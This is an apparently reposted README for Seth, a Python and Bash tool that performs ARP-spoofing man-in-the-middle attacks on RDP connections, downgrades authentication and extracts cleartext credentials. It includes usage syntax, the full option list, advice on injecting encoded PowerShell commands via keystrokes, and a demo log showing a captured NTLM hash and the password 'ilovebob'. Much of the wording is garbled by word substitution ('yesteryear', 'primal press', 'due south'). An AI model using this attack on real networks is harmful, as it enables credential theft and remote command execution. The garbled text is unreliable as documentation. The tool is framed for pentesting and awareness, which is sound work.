Seth - Perform A Mitm Assail Together With Extract Clear Text Credentials From Rdp Connections
Seth is a tool written inwards Python in addition to Bash to MitM RDP connections yesteryear attempting to downgrade the connexion inwards guild to extract clear text credentials. It was developed to heighten awareness in addition to educate nigh the importance of properly configured RDP connections inwards the context of pentests, workshops or talks. The writer is Adrian Vollmer (SySS GmbH).
Usage
Run it similar this:
$ ./seth.sh []
Unless the RDP host is on the same subnet every bit the victim machine, the final IP address must hold upward that of the gateway.The final parameter is optional. It tin comprise a ascendency that is executed on the RDP host yesteryear simulating WIN+R via primal press resultant injection. Keystroke injection depends on which keyboard layout the victim is using - currently it's solely reliable amongst the English linguistic communication U.S.A. layout. I advise avoiding exceptional characters yesteryear using
powershell -enc
, where STRING is your UTF-16le in addition to Base64 encoded command. However, calc
should hold upward pretty universal in addition to gets the labor done.The rhythm script performs ARP spoofing to attain a Man-in-the-Middle seat in addition to redirects the traffic such that it runs through an RDP proxy. The proxy tin hold upward called separately. This tin hold upward useful if yous desire work Seth inwards combination amongst Responder. Use Responder to attain a Man-in-the-Middle seat in addition to run Seth at the same time. Run
seth.py -h
for to a greater extent than information:usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}] [-j INJECT] -c CERTFILE -k KEYFILE target_host [target_port] RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017 positional arguments: target_host target host of the RDP service target_port TCP port of the target RDP service (default 3389) optional arguments: -h, --help demo this assistance message in addition to larn out -d, --debug demo debug information -f, --fake-server perform a 'fake server' assault -p LISTEN_PORT, --listen-port LISTEN_PORT TCP port to heed on (default 3389) -b BIND_IP, --bind-ip BIND_IP IP address to bind the simulated service to (default all) -g {0,1,3,11}, --downgrade {0,1,3,11} downgrade the authentication protocol to this (default 3) -j INJECT, --inject INJECT ascendency to execute via primal press resultant injection -c CERTFILE, --certfile CERTFILE path to the certificate file -k KEYFILE, --keyfile KEYFILE path to the primal file
For to a greater extent than information read the PDF inwards doc/paper
(or read the code!). The newspaper also contains recommendations for counter measures.You tin also picket a 20 infinitesimal presentation including a demo (starting at 14:00) on Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
Or picket merely the demo (with subtitles) here: https://www.youtube.com/watch?v=JvvxTNrKV-s
Demo
The next ouput shows the attacker's view. Seth sniffs an offline crackable hash every bit good every bit the clear text password. Here, NLA is non enforced in addition to the victim ignored the certificate warning.
# ./seth.sh eth1 192.168.57.{103,2,102} ███████╗███████╗████████╗██╗ ██╗ ██╔════╝██╔════╝╚══██╔══╝██║ ██║ yesteryear Adrian Vollmer ███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ [*] Spoofing arp replies... [*] Turning on IP forwarding... [*] Set iptables rules for SYN packets... [*] Waiting for a SYN bundle to the master destination... [+] Got it! Original finish is 192.168.57.102 [*] Clone the x509 certificate of the master destination... [*] Adjust the iptables dominion for all packets... [*] Run RDP proxy... Listening for novel connexion Connection received from 192.168.57.103:50431 Downgradin g authentication options from eleven to three Enable SSL alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000 Tamper amongst NTLM reply TLS alarm access denied, Downgrading CredSSP Connection lost Connection received from 192.168.57.103:50409 Listening for novel connexion Enable SSL Connection lost Connection rece ived from 192.168.57.103:50410 Listening for novel connexion Enable SSL Hiding forged protocol asking from customer .\alice:ilovebob Keyboard Layout: 0x409 (English_United_States) Key press: LShift Key press: due south Key release: due south Key release: LShift Key press: east Key release: east Key press: C Key release: C Key press: R Key release: R Key press: east Key release: east Key press: T Key release: T Connection lost [*] Cleaning up... [*] Done.
Requirements
-
python3
-
tcpdump
-
arpspoof
arpspoof
is role ofdsniff
-
openssl
Disclaimer
Use at your ain risk. Do non work without amount consent of everyone involved. For educational purposes only.